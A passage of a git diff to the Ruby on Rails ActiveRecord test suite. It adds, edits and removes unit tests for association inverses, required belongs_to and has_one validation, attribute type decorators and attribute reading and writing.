 class AutomaticInverseFindingTests < ActiveRecord::TestCase
   fixtures :ratings, :comments, :cars
@@ -27,6 +30,15 @@ class AutomaticInverseFindingTests < ActiveRecord::TestCase
     assert_equal monkey_reflection, man_reflection.inverse_of, "The man reflection's inverse should be the monkey reflection"
   end
 
+  def test_has_many_and_belongs_to_should_find_inverse_automatically_for_model_in_module
+    account_reflection = Admin::Account.reflect_on_association(:users)
+    user_reflection = Admin::User.reflect_on_association(:account)
+
+    assert_respond_to account_reflection, :has_inverse?
+    assert account_reflection.has_inverse?, "The Admin::Account reflection should have an inverse"
+    assert_equal user_reflection, account_reflection.inverse_of, "The Admin::Account reflection's inverse should be the Admin::User reflection"
+  end
+
   def test_has_one_and_belongs_to_should_find_inverse_automatically
     car_reflection = Car.reflect_on_association(:bulb)
     bulb_reflection = Bulb.reflect_on_association(:car)
@@ -100,6 +112,17 @@ class AutomaticInverseFindingTests < ActiveRecord::TestCase
     assert_respond_to club_reflection, :has_inverse?
     assert !club_reflection.has_inverse?, "A has_many_through association should not find an inverse automatically"
   end
+
+  def test_polymorphic_relationships_should_still_not_have_inverses_when_non_polymorphic_relationship_has_the_same_name
+    man_reflection = Man.reflect_on_association(:polymorphic_face_without_inverse)
+    face_reflection = Face.reflect_on_association(:man)
+
+    assert_respond_to face_reflection, :has_inverse?
+    assert face_reflection.has_inverse?, "For this test, the non-polymorphic association must have an inverse"
+
+    assert_respond_to man_reflection, :has_inverse?
+    assert !man_reflection.has_inverse?, "The target of a polymorphic association should not find an inverse automatically"
+  end
 end
 
 class InverseAssociationTests < ActiveRecord::TestCase
@@ -333,7 +356,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
 
   def test_parent_instance_should_be_shared_within_create_block_of_new_child
     man = Man.first
-    interest = man.interests.build do |i|
+    interest = man.interests.create do |i|
       assert i.man.equal?(man), "Man of child should be the same instance as a parent"
     end
     assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
@@ -446,6 +469,19 @@ class InverseHasManyTests < ActiveRecord::TestCase
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
     assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
   end
+
+  def test_child_instance_should_point_to_parent_without_saving
+    man = Man.new
+    i = Interest.create(:topic => 'Industrial Revolution Re-enactment')
+
+    man.interests << i
+    assert_not_nil i.man
+
+    i.man.name = "Charles"
+    assert_equal i.man.name, man.name
+
+    assert !man.persisted?
+  end
 end
 
 class InverseBelongsToTests < ActiveRecord::TestCase
@@ -590,6 +626,18 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
     assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
   end
 
+  def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed
+    new_man = Man.new
+    face = Face.new
+    new_man.face = face
+
+    old_inversed_man = face.man
+    new_man.save!
+    new_inversed_man = face.man
+
+    assert_equal old_inversed_man.object_id, new_inversed_man.object_id
+  end
+
   def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
     i = interests(:llama_wrangling)
     m = i.polymorphic_man
diff --git a/activerecord/test/cases/associations/join_dependency_test.rb b/activerecord/test/cases/associations/join_dependency_test.rb
deleted file mode 100644
index 08c166dc33..0000000000
--- a/activerecord/test/cases/associations/join_dependency_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-require 'models/edge'
-
-class JoinDependencyTest < ActiveRecord::TestCase
-  def test_column_names_with_alias_handles_nil_primary_key
-    assert_equal Edge.column_names, ActiveRecord::Associations::JoinDependency::JoinBase.new(Edge).column_names_with_alias.map(&:first)
-  end
-end
\ No newline at end of file
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
index aabeea025f..9918601623 100644
--- a/activerecord/test/cases/associations/join_model_test.rb
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -326,11 +326,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_belongs_to_polymorphic_with_counter_cache
-    assert_equal 1, posts(:welcome)[:taggings_count]
+    assert_equal 1, posts(:welcome)[:tags_count]
     tagging = posts(:welcome).taggings.create(:tag => tags(:general))
-    assert_equal 2, posts(:welcome, :reload)[:taggings_count]
+    assert_equal 2, posts(:welcome, :reload)[:tags_count]
     tagging.destroy
-    assert_equal 1, posts(:welcome, :reload)[:taggings_count]
+    assert_equal 1, posts(:welcome, :reload)[:tags_count]
   end
 
   def test_unavailable_through_reflection
@@ -393,18 +393,18 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_polymorphic_has_one
-    assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).taggings_2
+    assert_equal Tagging.find(1,2).sort_by(&:id), authors(:david).taggings_2
   end
 
   def test_has_many_through_polymorphic_has_many
-    assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.distinct.sort_by { |t| t.id }
+    assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.distinct.sort_by(&:id)
   end
 
   def test_include_has_many_through_polymorphic_has_many
     author            = Author.includes(:taggings).find authors(:david).id
     expected_taggings = taggings(:welcome_general, :thinking_general)
     assert_no_queries do
-      assert_equal expected_taggings, author.taggings.distinct.sort_by { |t| t.id }
+      assert_equal expected_taggings, author.taggings.distinct.sort_by(&:id)
     end
   end
 
@@ -444,7 +444,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   def test_has_many_through_uses_conditions_specified_on_the_has_many_association
     author = Author.first
     assert author.comments.present?
-    assert author.nonexistant_comments.blank?
+    assert author.nonexistent_comments.blank?
   end
 
   def test_has_many_through_uses_correct_attributes
@@ -489,7 +489,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
                 message = "Expected a Tag in tags collection, got #{wrong.class}.")
     assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
                 message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
-    assert_equal(count + 1, post_thinking.tags.size)
+    assert_equal(count + 1, post_thinking.reload.tags.size)
     assert_equal(count + 1, post_thinking.tags(true).size)
 
     assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo')
@@ -497,7 +497,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
                 message = "Expected a Tag in tags collection, got #{wrong.class}.")
     assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
                 message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
-    assert_equal(count + 2, post_thinking.tags.size)
+    assert_equal(count + 2, post_thinking.reload.tags.size)
     assert_equal(count + 2, post_thinking.tags(true).size)
 
     assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) }
@@ -505,7 +505,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
                 message = "Expected a Tag in tags collection, got #{wrong.class}.")
     assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
                 message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
-    assert_equal(count + 4, post_thinking.tags.size)
+    assert_equal(count + 4, post_thinking.reload.tags.size)
     assert_equal(count + 4, post_thinking.tags(true).size)
 
     # Raises if the wrong reflection name is used to set the Edge belongs_to
@@ -554,34 +554,35 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
 
   def test_delete_associate_when_deleting_from_has_many_through
     count = posts(:thinking).tags.count
-    tags_before = posts(:thinking).tags
+    tags_before = posts(:thinking).tags.sort
     tag = Tag.create!(:name => 'doomed')
     post_thinking = posts(:thinking)
     post_thinking.tags << tag
     assert_equal(count + 1, post_thinking.taggings(true).size)
-    assert_equal(count + 1, post_thinking.tags(true).size)
+    assert_equal(count + 1, post_thinking.reload.tags(true).size)
+    assert_not_equal(tags_before, post_thinking.tags.sort)
 
     assert_nothing_raised { post_thinking.tags.delete(tag) }
     assert_equal(count, post_thinking.tags.size)
     assert_equal(count, post_thinking.tags(true).size)
     assert_equal(count, post_thinking.taggings(true).size)
-    assert_equal(tags_before.sort, post_thinking.tags.sort)
+    assert_equal(tags_before, post_thinking.tags.sort)
   end
 
   def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
     count = posts(:thinking).tags.count
-    tags_before = posts(:thinking).tags
+    tags_before = posts(:thinking).tags.sort
     doomed = Tag.create!(:name => 'doomed')
     doomed2 = Tag.create!(:name => 'doomed2')
     quaked = Tag.create!(:name => 'quaked')
     post_thinking = posts(:thinking)
     post_thinking.tags << doomed << doomed2
-    assert_equal(count + 2, post_thinking.tags(true).size)
+    assert_equal(count + 2, post_thinking.reload.tags(true).size)
 
     assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
     assert_equal(count, post_thinking.tags.size)
     assert_equal(count, post_thinking.tags(true).size)
-    assert_equal(tags_before.sort, post_thinking.tags.sort)
+    assert_equal(tags_before, post_thinking.tags.sort)
   end
 
   def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index cf3c07845c..31b68c940e 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -130,7 +130,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   def test_has_many_through_has_one_through_with_has_one_source_reflection_preload
     members = assert_queries(4) { Member.includes(:nested_sponsors).to_a }
     mustache = sponsors(:moustache_club_sponsor_for_groucho)
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal [mustache], members.first.nested_sponsors
     end
   end
@@ -153,6 +153,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_one_with_has_many_through_source_reflection_preload
+    ActiveRecord::Base.connection.table_alias_length  # preheat cache
     members = assert_queries(4) { Member.includes(:organization_member_details).to_a.sort_by(&:id) }
     groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
 
@@ -214,7 +215,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
-    authors = assert_queries(3) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+    authors = assert_queries(4) { Author.includes(:post_categories).to_a.sort_by(&:id) }
     general, cooking = categories(:general), categories(:cooking)
 
     assert_no_queries do
@@ -242,7 +243,8 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
-    categories = assert_queries(3) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+    Category.includes(:post_comments).to_a # preheat cache
+    categories = assert_queries(4) { Category.includes(:post_comments).to_a.sort_by(&:id) }
     greetings, more = comments(:greetings), comments(:more_greetings)
 
     assert_no_queries do
@@ -270,7 +272,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
-    authors = assert_queries(5) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+    authors = assert_queries(6) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
     greetings, more = comments(:greetings), comments(:more_greetings)
 
     assert_no_queries do
diff --git a/activerecord/test/cases/associations/required_test.rb b/activerecord/test/cases/associations/required_test.rb
new file mode 100644
index 0000000000..8b765a2e0c
--- /dev/null
+++ b/activerecord/test/cases/associations/required_test.rb
@@ -0,0 +1,102 @@
+require "cases/helper"
+
+class RequiredAssociationsTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class Parent < ActiveRecord::Base
+  end
+
+  class Child < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :parents, force: true
+    @connection.create_table :children, force: true do |t|
+      t.belongs_to :parent
+    end
+  end
+
+  teardown do
+    @connection.drop_table 'parents', if_exists: true
+    @connection.drop_table 'children', if_exists: true
+  end
+
+  test "belongs_to associations are not required by default" do
+    model = subclass_of(Child) do
+      belongs_to :parent, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Parent"
+    end
+
+    assert model.new.save
+    assert model.new(parent: Parent.new).save
+  end
+
+  test "required belongs_to associations have presence validated" do
+    model = subclass_of(Child) do
+      belongs_to :parent, required: true, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Parent"
+    end
+
+    record = model.new
+    assert_not record.save
+    assert_equal ["Parent must exist"], record.errors.full_messages
+
+    record.parent = Parent.new
+    assert record.save
+  end
+
+  test "has_one associations are not required by default" do
+    model = subclass_of(Parent) do
+      has_one :child, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Child"
+    end
+
+    assert model.new.save
+    assert model.new(child: Child.new).save
+  end
+
+  test "required has_one associations have presence validated" do
+    model = subclass_of(Parent) do
+      has_one :child, required: true, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Child"
+    end
+
+    record = model.new
+    assert_not record.save
+    assert_equal ["Child must exist"], record.errors.full_messages
+
+    record.child = Child.new
+    assert record.save
+  end
+
+  test "required has_one associations have a correct error message" do
+    model = subclass_of(Parent) do
+      has_one :child, required: true, inverse_of: false,
+      class_name: "RequiredAssociationsTest::Child"
+    end
+
+    record = model.create
+    assert_equal ["Child must exist"], record.errors.full_messages
+  end
+
+  test "required belongs_to associations have a correct error message" do
+    model = subclass_of(Child) do
+      belongs_to :parent, required: true, inverse_of: false,
+      class_name: "RequiredAssociationsTest::Parent"
+    end
+
+    record = model.create
+    assert_equal ["Parent must exist"], record.errors.full_messages
+  end
+
+  private
+
+  def subclass_of(klass, &block)
+    subclass = Class.new(klass, &block)
+    def subclass.name
+      superclass.name
+    end
+    subclass
+  end
+end
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index 48e6fc5cd4..de358114ab 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -1,6 +1,7 @@
 require "cases/helper"
 require 'models/computer'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/company'
 require 'models/categorization'
@@ -23,7 +24,7 @@ require 'models/interest'
 
 class AssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :developers, :projects, :developers_projects,
-           :computers, :people, :readers
+           :computers, :people, :readers, :authors, :author_favorites
 
   def test_eager_loading_should_not_change_count_of_children
     liquid = Liquid.create(:name => 'salty')
@@ -35,12 +36,19 @@ class AssociationsTest < ActiveRecord::TestCase
     assert_equal 1, liquids[0].molecules.length
   end
 
+  def test_subselect
+    author = authors :david
+    favs = author.author_favorites
+    fav2 = author.author_favorites.where(:author => Author.where(id: author.id)).to_a
+    assert_equal favs, fav2
+  end
+
   def test_clear_association_cache_stored
     firm = Firm.find(1)
     assert_kind_of Firm, firm
 
     firm.clear_association_cache
-    assert_equal Firm.find(1).clients.collect{ |x| x.name }.sort, firm.clients.collect{ |x| x.name }.sort
+    assert_equal Firm.find(1).clients.collect(&:name).sort, firm.clients.collect(&:name).sort
   end
 
   def test_clear_association_cache_new_record
@@ -133,7 +141,7 @@ class AssociationsTest < ActiveRecord::TestCase
 
   def test_association_with_references
     firm = companies(:first_firm)
-    assert_equal ['foo'], firm.association_with_references.references_values
+    assert_includes firm.association_with_references.references_values, 'foo'
   end
 
 end
@@ -230,7 +238,7 @@ class AssociationProxyTest < ActiveRecord::TestCase
   end
 
   def test_scoped_allows_conditions
-    assert developers(:david).projects.merge!(where: 'foo').where_values.include?('foo')
+    assert developers(:david).projects.merge(where: 'foo').to_sql.include?('foo')
   end
 
   test "getting a scope from an association" do
@@ -255,6 +263,20 @@ class AssociationProxyTest < ActiveRecord::TestCase
       assert_equal man, man.interests.where("1=1").first.man
     end
   end
+
+  test "first! works on loaded associations" do
+    david = authors(:david)
+    assert_equal david.posts.first, david.posts.reload.first!
+  end
+
+  def test_reset_unloads_target
+    david = authors(:david)
+    david.posts.reload
+
+    assert david.posts.loaded?
+    david.posts.reset
+    assert !david.posts.loaded?
+  end
 end
 
 class OverridingAssociationsTest < ActiveRecord::TestCase
@@ -341,4 +363,18 @@ class GeneratedMethodsTest < ActiveRecord::TestCase
   def test_model_method_overrides_association_method
     assert_equal(comments(:greetings).body, posts(:welcome).first_comment)
   end
+
+  module MyModule
+    def comments; :none end
+  end
+
+  class MyArticle < ActiveRecord::Base
+    self.table_name = "articles"
+    include MyModule
+    has_many :comments, inverse_of: false
+  end
+
+  def test_included_module_overwrites_association_methods
+    assert_equal :none, MyArticle.new.comments
+  end
 end
diff --git a/activerecord/test/cases/attribute_decorators_test.rb b/activerecord/test/cases/attribute_decorators_test.rb
new file mode 100644
index 0000000000..0b96319cbd
--- /dev/null
+++ b/activerecord/test/cases/attribute_decorators_test.rb
@@ -0,0 +1,125 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class AttributeDecoratorsTest < ActiveRecord::TestCase
+    class Model < ActiveRecord::Base
+      self.table_name = 'attribute_decorators_model'
+    end
+
+    class StringDecorator < SimpleDelegator
+      def initialize(delegate, decoration = "decorated!")
+        @decoration = decoration
+        super(delegate)
+      end
+
+      def type_cast_from_user(value)
+        "#{super} #{@decoration}"
+      end
+
+      alias type_cast_from_database type_cast_from_user
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @connection.create_table :attribute_decorators_model, force: true do |t|
+        t.string :a_string
+      end
+    end
+
+    teardown do
+      return unless @connection
+      @connection.drop_table 'attribute_decorators_model', if_exists: true
+      Model.attribute_type_decorations.clear
+      Model.reset_column_information
+    end
+
+    test "attributes can be decorated" do
+      model = Model.new(a_string: 'Hello')
+      assert_equal 'Hello', model.a_string
+
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: 'Hello')
+      assert_equal 'Hello decorated!', model.a_string
+    end
+
+    test "decoration does not eagerly load existing columns" do
+      Model.reset_column_information
+      assert_no_queries do
+        Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      end
+    end
+
+    test "undecorated columns are not touched" do
+      Model.attribute :another_string, :string, default: 'something or other'
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+      assert_equal 'something or other', Model.new.another_string
+    end
+
+    test "decorators can be chained" do
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      Model.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: 'Hello!')
+
+      assert_equal 'Hello! decorated! decorated!', model.a_string
+    end
+
+    test "decoration of the same type multiple times is idempotent" do
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: 'Hello')
+      assert_equal 'Hello decorated!', model.a_string
+    end
+
+    test "decorations occur in order of declaration" do
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      Model.decorate_attribute_type(:a_string, :other) do |type|
+        StringDecorator.new(type, 'decorated again!')
+      end
+
+      model = Model.new(a_string: 'Hello!')
+
+      assert_equal 'Hello! decorated! decorated again!', model.a_string
+    end
+
+    test "decorating attributes does not modify parent classes" do
+      Model.attribute :another_string, :string, default: 'whatever'
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      child_class = Class.new(Model)
+      child_class.decorate_attribute_type(:another_string, :test) { |t| StringDecorator.new(t) }
+      child_class.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: 'Hello!')
+      child = child_class.new(a_string: 'Hello!')
+
+      assert_equal 'Hello! decorated!', model.a_string
+      assert_equal 'whatever', model.another_string
+      assert_equal 'Hello! decorated! decorated!', child.a_string
+      assert_equal 'whatever decorated!', child.another_string
+    end
+
+    class Multiplier < SimpleDelegator
+      def type_cast_from_user(value)
+        return if value.nil?
+        value * 2
+      end
+      alias type_cast_from_database type_cast_from_user
+    end
+
+    test "decorating with a proc" do
+      Model.attribute :an_int, :integer
+      type_is_integer = proc { |_, type| type.type == :integer }
+      Model.decorate_matching_attribute_types type_is_integer, :multiplier do |type|
+        Multiplier.new(type)
+      end
+
+      model = Model.new(a_string: 'whatever', an_int: 1)
+
+      assert_equal 'whatever', model.a_string
+      assert_equal 2, model.an_int
+    end
+  end
+end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index c0659fddef..74e556211b 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -12,10 +12,12 @@ module ActiveRecord
         @klass = Class.new do
           def self.superclass; Base; end
           def self.base_class; self; end
+          def self.decorate_matching_attribute_types(*); end
+          def self.initialize_generated_modules; end
 
           include ActiveRecord::AttributeMethods
 
-          def self.column_names
+          def self.attribute_names
             %w{ one two three }
           end
 
@@ -23,11 +25,11 @@ module ActiveRecord
           end
 
           def self.columns
-            column_names.map { FakeColumn.new(name) }
+            attribute_names.map { FakeColumn.new(name) }
           end
 
           def self.columns_hash
-            Hash[column_names.map { |name|
+            Hash[attribute_names.map { |name|
               [name, FakeColumn.new(name)]
             }]
           end
@@ -37,13 +39,13 @@ module ActiveRecord
       def test_define_attribute_methods
         instance = @klass.new
 
-        @klass.column_names.each do |name|
+        @klass.attribute_names.each do |name|
           assert !instance.methods.map(&:to_s).include?(name)
         end
 
         @klass.define_attribute_methods
 
-        @klass.column_names.each do |name|
+        @klass.attribute_names.each do |name|
           assert instance.methods.map(&:to_s).include?(name), "#{name} is not defined"
         end
       end
diff --git a/activerecord/test/cases/attribute_methods/serialization_test.rb b/activerecord/test/cases/attribute_methods/serialization_test.rb
deleted file mode 100644
index 75de773961..0000000000
--- a/activerecord/test/cases/attribute_methods/serialization_test.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  module AttributeMethods
-    class SerializationTest < ActiveSupport::TestCase
-      class FakeColumn < Struct.new(:name)
-        def type; :integer; end
-        def type_cast(s); "#{s}!"; end
-      end
-
-      class NullCoder
-        def load(v); v; end
-      end
-
-      def test_type_cast_serialized_value
-        value = Serialization::Attribute.new(NullCoder.new, "Hello world", :serialized)
-        type = Serialization::Type.new(FakeColumn.new)
-        assert_equal "Hello world!", type.type_cast(value)
-      end
-
-      def test_type_cast_unserialized_value
-        value = Serialization::Attribute.new(nil, "Hello world", :unserialized)
-        type = Serialization::Type.new(FakeColumn.new)
-        type.type_cast(value)
-        assert_equal "Hello world", type.type_cast(value)
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index baba55ea43..243c90e945 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -1,6 +1,7 @@
 require "cases/helper"
 require 'models/minimalistic'
 require 'models/developer'
+require 'models/computer'
 require 'models/auto_id'
 require 'models/boolean'
 require 'models/computer'
@@ -22,7 +23,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     @target.table_name = 'topics'
   end
 
-  def teardown
+  teardown do
     ActiveRecord::Base.send(:attribute_method_matchers).clear
     ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
   end
@@ -92,7 +93,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
 
   def test_set_attributes_without_hash
     topic = Topic.new
-    assert_nothing_raised { topic.attributes = '' }
+    assert_raise(ArgumentError) { topic.attributes = '' }
   end
 
   def test_integers_as_nil
@@ -143,7 +144,11 @@ class AttributeMethodsTest < ActiveRecord::TestCase
 
   # Syck calls respond_to? before actually calling initialize
   def test_respond_to_with_allocated_object
-    topic = Topic.allocate
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'topics'
+    end
+
+    topic = klass.allocate
     assert !topic.respond_to?("nothingness")
     assert !topic.respond_to?(:nothingness)
     assert_respond_to topic, "title"
@@ -253,6 +258,15 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.first.attributes
   end
 
+  def test_attributes_without_primary_key
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'developers_projects'
+    end
+
+    assert_equal klass.column_names, klass.new.attributes.keys
+    assert_not klass.new.has_attribute?('id')
+  end
+
   def test_hashes_not_mangled
     new_topic = { :title => "New Topic" }
     new_topic_values = { :title => "AnotherTopic" }
@@ -288,10 +302,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   def test_read_attribute
     topic = Topic.new
     topic.title = "Don't change the topic"
-    assert_equal "Don't change the topic", topic.send(:read_attribute, "title")
+    assert_equal "Don't change the topic", topic.read_attribute("title")
     assert_equal "Don't change the topic", topic["title"]
 
-    assert_equal "Don't change the topic", topic.send(:read_attribute, :title)
+    assert_equal "Don't change the topic", topic.read_attribute(:title)
     assert_equal "Don't change the topic", topic[:title]
   end
 
@@ -299,6 +313,8 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     computer = Computer.select('id').first
     assert_raises(ActiveModel::MissingAttributeError) { computer[:developer] }
     assert_raises(ActiveModel::MissingAttributeError) { computer[:extendedWarranty] }
+    assert_raises(ActiveModel::MissingAttributeError) { computer[:no_column_exists] = 'Hello!' }
+    assert_nothing_raised { computer[:developer] = 'Hello!' }
   end
 
   def test_read_attribute_when_false
@@ -358,10 +374,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
       super(attr_name).upcase
     end
 
-    assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, "title")
+    assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute("title")
     assert_equal "STOP CHANGING THE TOPIC", topic["title"]
 
-    assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, :title)
+    assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute(:title)
     assert_equal "STOP CHANGING THE TOPIC", topic[:title]
   end
 
@@ -449,10 +465,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   end
 
   def test_declared_suffixed_attribute_method_affects_respond_to_and_method_missing
-    topic = @target.new(:title => 'Budget')
     %w(_default _title_default _it! _candidate= able?).each do |suffix|
       @target.class_eval "def attribute#{suffix}(*args) args end"
       @target.attribute_method_suffix suffix
+      topic = @target.new(:title => 'Budget')
 
       meth = "title#{suffix}"
       assert topic.respond_to?(meth)
@@ -463,10 +479,10 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   end
 
   def test_declared_affixed_attribute_method_affects_respond_to_and_method_missing
-    topic = @target.new(:title => 'Budget')
     [['mark_', '_for_update'], ['reset_', '!'], ['default_', '_value?']].each do |prefix, suffix|
       @target.class_eval "def #{prefix}attribute#{suffix}(*args) args end"
       @target.attribute_method_affix({ :prefix => prefix, :suffix => suffix })
+      topic = @target.new(:title => 'Budget')
 
       meth = "#{prefix}title#{suffix}"
       assert topic.respond_to?(meth)
@@ -486,7 +502,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   def test_typecast_attribute_from_select_to_false
     Topic.create(:title => 'Budget')
     # Oracle does not support boolean expressions in SELECT
-    if current_adapter?(:OracleAdapter)
+    if current_adapter?(:OracleAdapter, :FbAdapter)
       topic = Topic.all.merge!(:select => "topics.*, 0 as is_test").first
     else
       topic = Topic.all.merge!(:select => "topics.*, 1=2 as is_test").first
@@ -497,7 +513,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   def test_typecast_attribute_from_select_to_true
     Topic.create(:title => 'Budget')
     # Oracle does not support boolean expressions in SELECT
-    if current_adapter?(:OracleAdapter)
+    if current_adapter?(:OracleAdapter, :FbAdapter)
       topic = Topic.all.merge!(:select => "topics.*, 1 as is_test").first
     else
       topic = Topic.all.merge!(:select => "topics.*, 2=2 as is_test").first
@@ -515,44 +531,22 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_only_time_related_columns_are_meant_to_be_cached_by_default
-    expected = %w(datetime timestamp time date).sort
-    assert_equal expected, ActiveRecord::Base.attribute_types_cached_by_default.map(&:to_s).sort
-  end
+  def test_converted_values_are_returned_after_assignment
+    developer = Developer.new(name: 1337, salary: "50000")
 
-  def test_declaring_attributes_as_cached_adds_them_to_the_attributes_cached_by_default
-    default_attributes = Topic.cached_attributes
-    Topic.cache_attributes :replies_count
-    expected = default_attributes + ["replies_count"]
-    assert_equal expected.sort, Topic.cached_attributes.sort
-    Topic.instance_variable_set "@cached_attributes", nil
-  end
+    assert_equal "50000", developer.salary_before_type_cast
+    assert_equal 1337, developer.name_before_type_cast
 
-  def test_cacheable_columns_are_actually_cached
-    assert_equal cached_columns.sort, Topic.cached_attributes.sort
-  end
+    assert_equal 50000, developer.salary
+    assert_equal "1337", developer.name
 
-  def test_accessing_cached_attributes_caches_the_converted_values_and_nothing_else
-    t = topics(:first)
-    cache = t.instance_variable_get "@attributes_cache"
-
-    assert_not_nil cache
-    assert cache.empty?
+    developer.save!
 
-    all_columns = Topic.columns.map(&:name)
-    uncached_columns = all_columns - cached_columns
+    assert_equal "50000", developer.salary_before_type_cast
+    assert_equal 1337, developer.name_before_type_cast
 
-    all_columns.each do |attr_name|
-      attribute_gets_cached = Topic.cache_attribute?(attr_name)
-      val = t.send attr_name unless attr_name == "type"
-      if attribute_gets_cached
-        assert cached_columns.include?(attr_name)
-        assert_equal val, cache[attr_name]
-      else
-        assert uncached_columns.include?(attr_name)
-        assert !cache.include?(attr_name)
-      end
-    end
+    assert_equal 50000, developer.salary
+    assert_equal "1337", developer.name
   end
 
   def test_write_nil_to_time_attributes
